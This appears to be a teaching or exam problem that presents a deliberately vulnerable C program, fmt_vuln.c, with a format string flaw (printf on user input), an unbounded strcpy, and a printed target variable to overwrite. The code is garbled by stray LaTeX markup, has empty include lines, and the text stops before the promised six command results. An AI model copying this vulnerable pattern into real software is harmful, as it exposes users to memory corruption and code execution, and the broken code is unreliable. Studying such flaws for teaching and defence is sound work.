Consider the following program with format string vulnerability:

fmt$\_$vuln.c

#include

#include

#include

int main$($int argc, char $*$argv$[])\{$

char text$[1024]$;

static int targeted$\_$val $=0$x$5$a$5$a$5$a$5$a;

if$($argc $<2)\{$

printf$("$Usage: $\%$s

$",$ argv$[0])$;

exit$(0)$;

$\}$

strcpy$($text$,$ argv$[1])$;

printf$($text$)$;

printf$("$

$")$;

printf$("[*]$ targeted$\_$val @ $0$x$\%08$x $=\%$d $0$x$\%08$x

$",$ &targeted$\_$val, targeted$\_$val, targeted$\_$val$)$;

exit$(0)$;

$\}$

We have the following six commands execution results:
